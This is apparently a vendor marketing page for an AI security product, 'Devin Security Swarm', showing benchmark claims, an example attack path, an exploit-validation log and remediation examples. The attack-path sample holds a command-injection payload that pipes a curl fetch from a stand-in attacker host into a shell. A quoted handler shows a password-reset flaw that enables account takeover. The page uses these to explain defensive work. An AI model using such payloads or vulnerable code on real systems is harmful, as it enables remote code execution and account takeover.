Devin finds the vulnerabilities other tools miss, validates that they are actually exploitable at runtime, and ships remediation PRs.
Devin Security Swarm found 36 of 50 real-world GHSA vulnerabilities at 30% lower cost per finding than the next most accurate alternative.
Harness
Recall
$/Run
The benchmark covers published GitHub Security Advisories across Go, Python, JavaScript, Rust, Ruby, C#, Java, Swift, PHP, Elixir, Erlang, C, Kotlin, and Dart. Learn more
A new way for security and engineering teams to find, validate, and remediate vulnerabilities across their codebases.
Devin reasons across files to catch vulnerabilities that span multiple components—business logic flaws, chained auth bypasses, and cross-service exploit paths. Findings are composed into full attack paths.
Attack Path
POST /api/kernels {"env":{"KERNEL_SPARK_OPTS":"; curl http://attacker.sh | sh"}}
At lines 116-135, user_defined_spark_opts = env_dict["KERNEL_SPARK_OPTS"] is interpolated into SPARK_OPTS with no escaping. SPARK_OPTS is part of the env dict passed to launch_kernel.
Devin reproduces each exploit in an isolated sandbox before surfacing it to your team, reducing false positives and giving reviewers context.
Runtime Validation
$ ./reproduce-exploit.sh
Starting isolated VM...
Sending crafted request...
Exploit reproduced
Attacker gains admin session
Runtime artifacts
After confirming the exploit, Devin writes the patch, runs validation, and opens a remediation PR ready for review.
usacognition/PantryPal #22
4 files
Devin's AI analysis
This PR introduces bcryptjs to hash user passwords instead of storing them in plaintext. Key changes:
bcrypt.hashSync(password, 12) instead of raw passwordsGET /users/:id endpoint no longer returns the password hash (SELECT * → explicit column list)password123, hunter2) to stronger demo passwordsDevin helps teams find, validate, remediate, and review vulnerabilities within their existing workflows
Deep, parallel vulnerability research with exploit validation and direct remediation.
usersApp.post("/api/users/password",secureFnc, function(req, res, next) {const permission = checkGroupsFnc(req);if (res.statusCode === 403) {runtime.logger.error("api post users/password: Token Expired");} else if (!req.body.username || !req.body.password) {res.status(400).json({error:"invalid_request", message: "Missing username or password"});} else {runtime.users.getUsers({ username: req.body.username }).then(users => {const user = (users && users.length) ? users[0] : null;if (!user) {res.status(404).json({error:"not_found", message: "User not found"});return;}runtime.users.setUsers({username: user.username,fullname: user.fullname,password: req.body.password,groups: user.groups,info: user.info,});}).catch(err) => {runtime.logger.error(err);The new POST /api/users/password handler accepts any username and password after secureFnc, but never verifies that the authenticated request user is the same account (or an admin) before calling setUsers. In this codebase verifyToken also creates a guest token when no x-access-token is supplied (jwt-helper.js:46-65), so an unauthenticated/guest request can reach this handler and reset any known user's password, resulting in account takeover.
Recommendation
Require a valid authenticated non-guest user for this route, verify req.userId === req.body.username for self-service changes (or require admin permission for resets), and verify the current password before writing the new password. Reject guest/unauthenticated requests and avoid disclosing whether arbitrary usernames exist if possible.
Catch risky patterns in every diff before a human reviewer approves the change.
A six-week engagement that takes your vulnerability backlog toward zero and keeps it there. Cognition's engineering team embeds with yours to set up Security Swarm for your codebase.
You walk away with your backlog cleared and proactive discovery running continuously.
See how Devin finds, validates, and fixes vulnerabilities.
Get started